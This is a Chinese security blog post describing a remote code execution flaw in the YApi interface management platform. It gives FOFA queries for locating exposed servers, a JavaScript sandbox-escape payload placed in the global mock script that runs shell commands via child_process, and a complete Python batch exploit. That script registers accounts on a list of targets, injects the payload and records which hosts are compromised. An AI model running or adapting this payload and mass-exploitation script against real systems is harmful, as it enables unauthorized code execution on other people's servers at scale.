Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

YApi接口管理平台远程代码执行漏洞(含批量POC)

渗透测试 瓜皮辰 469℃ 0评论

0x00简介

YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的最具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI旨在为开发、产品和测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布和维护不同项目,不同平台的API。有了YAPI,我们可以很方便的测试、管理和维护多个项目的API接口,不像Swagger那样是随应用生和灭的(且线上环境下大多数须关闭),YAPI是一个独立的服务平台。

0x01漏洞描述

YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问
YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

0x02影响版本

YApi<=V1.92 All

0x03FOFA语句

icon_hash=”-715193973″
app=”YApi”

0x04漏洞复现

1、进入网页注册一个用户
在这里插入图片描述
2、点击添加项目
在这里插入图片描述
3、输入项目名称之后点击创建项目
在这里插入图片描述
4、之后在全局mock脚本中写入以下POC并保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

在这里插入图片描述
5、之后在接口处填入内容并提交
在这里插入图片描述
6、点击接口名称
在这里插入图片描述
7、点击mock地址
在这里插入图片描述
8、命令执行成功
在这里插入图片描述

0x05批量POC

import requests
import urllib3
import json
import argparse

parser = argparse.ArgumentParser(description="请输入目标地址")
parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.file

def poc_1(get_url):
    if(get_url[-1]=='/'):
        get_url=get_url[:-1]
        print(get_url)
    Reg_url=get_url+"/api/user/reg"
    headers = {
        'Content-Type': 'application/json',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
    }
    data={
        'email':'gua@qq.com',
        'password':'123456',
        'username':'Guatest'
    }
    try:
        urllib3.disable_warnings()
        Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
        if Reg_res.json()['errcode']==0:
            poc_2(get_url)
        else:
            print(get_url+"  "+Reg_res.text)
    except Exception as e:
        print(get_url+"  poc_1  请求出错")

def poc_2(get_url):
    Login_url=get_url+"/api/user/login"
    headers = {
        'Content-Type': 'application/json',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
    }
    data={
        'email':'gua@qq.com',
        'password':'123456'
    }
    try:
        Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
        Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])
        if Login_res.json()['errcode']==0:
            poc_3(get_url,Login_cookie)
        else:
            print("登陆失败")
    except Exception as e:
        print(get_url+"  poc_2  请求出错")

def poc_3(get_url,Login_cookie):
    headers={
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie':Login_cookie
    }
    Get_id_url=get_url+"/api/group/list"
    try:
        Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)
        G_id=str(Get_id_res.json()['data'][0]['_id'])
        if Get_id_res.json()['errcode']==0:
            poc_4(get_url,G_id,Login_cookie)
        else:
            print("获取group_id失败")
    except Exception as e:
        print(get_url+"  poc_3  请求出错")
def poc_4(get_url,G_id,Login_cookie):
    NewProjecet_url=get_url+"/api/project/add"
    data={
        'name':'tes',
        'basepath':'',
        'group_id':G_id,
        'icon':'code-o',
        'color':'blue',
        'project_type':'private'
    }
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    try:
        NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)
        get_id=str(NewProjecet_res.json()['data']['_id'])
        if NewProjecet_res.json()['errcode']==0:
            poc_5(get_url,Login_cookie,get_id)
        else:
            print('创建目录失败失败')
    except Exception as e:
        print(get_url+"  poc_4  请求出错")
def poc_5(get_url,Login_cookie,get_id):
    Mock_url=get_url+'/api/project/up'
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    data={
        'id':get_id,
        'project_mock_script':"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()",
        'is_mock_open':True
    }
    try:
        Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)
        if Mock_res.json()['errcode']==0:
            poc_6(get_url, Login_cookie, get_id)
        else:
            print("mock创建失败")
    except Exception as e:
        print(get_url+"  poc_5   请求出错")
def poc_6(get_url,Login_cookie,get_id):
    Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    try:
        Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)
        Catid=Cat_id_res.json()['data'][0]['_id']
        poc_7(get_url,Login_cookie,get_id,Catid)
    except Exception as e:
        print(get_url+"  poc_6请求出错")
def poc_7(get_url,Login_cookie,get_id,Catid):
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    data={
        'method':'GET',
        'catid':Catid,
        'title':'guatest',
        'path':'/guatest',
        'project_id':get_id
    }
    port_add_url=get_url+"/api/interface/add"
    try:
        port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)
        if port_add_res.json()['errcode']==0:
            poc_8(get_url,Login_cookie,get_id)
        else:
            print("接口创建失败")
    except Exception as e:
        print(get_url+"  poc_7   请求出错")
def poc_8(get_url,Login_cookie,get_id):
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'
    try:
        vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)
        print(vuln_url+'  '+vuln_res.text)
        with open('success.txt', 'a+', encoding="utf-8") as s:
            s.write(get_url + '   '+vuln_res.text+'\n')
    except Exception as e:
        print(get_url+"  poc_8   请求出错",e)
def file():
    with open(args.file,'r+',encoding='utf-8') as f:
        for i in f.readlines():
            s = i.strip()
            if 'http://' in s:
                poc_1(s)
            else:
                exp1 = 'http://'+s
                poc_1(exp1)
if __name__ == '__main__':
    try:
        if Get_url != '' and Get_file == '':
            if 'http://' in Get_url:
                poc_1(Get_url)
            else:
                exp2 = 'http://' + Get_url
                poc_1(exp2)
        elif Get_url == '' and Get_file != '':
            file()
    except KeyboardInterrupt:
        print("结束进程。。。。")
        pass

小白CSDN博客:https://blog.csdn.net/Guapichen

转载请注明:Adminxe's Blog » YApi接口管理平台远程代码执行漏洞(含批量POC)

喜欢 (26)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(1)个小伙伴在吐槽
  1. 文章不错关注一下
    头条2021-07-14 13:00 回复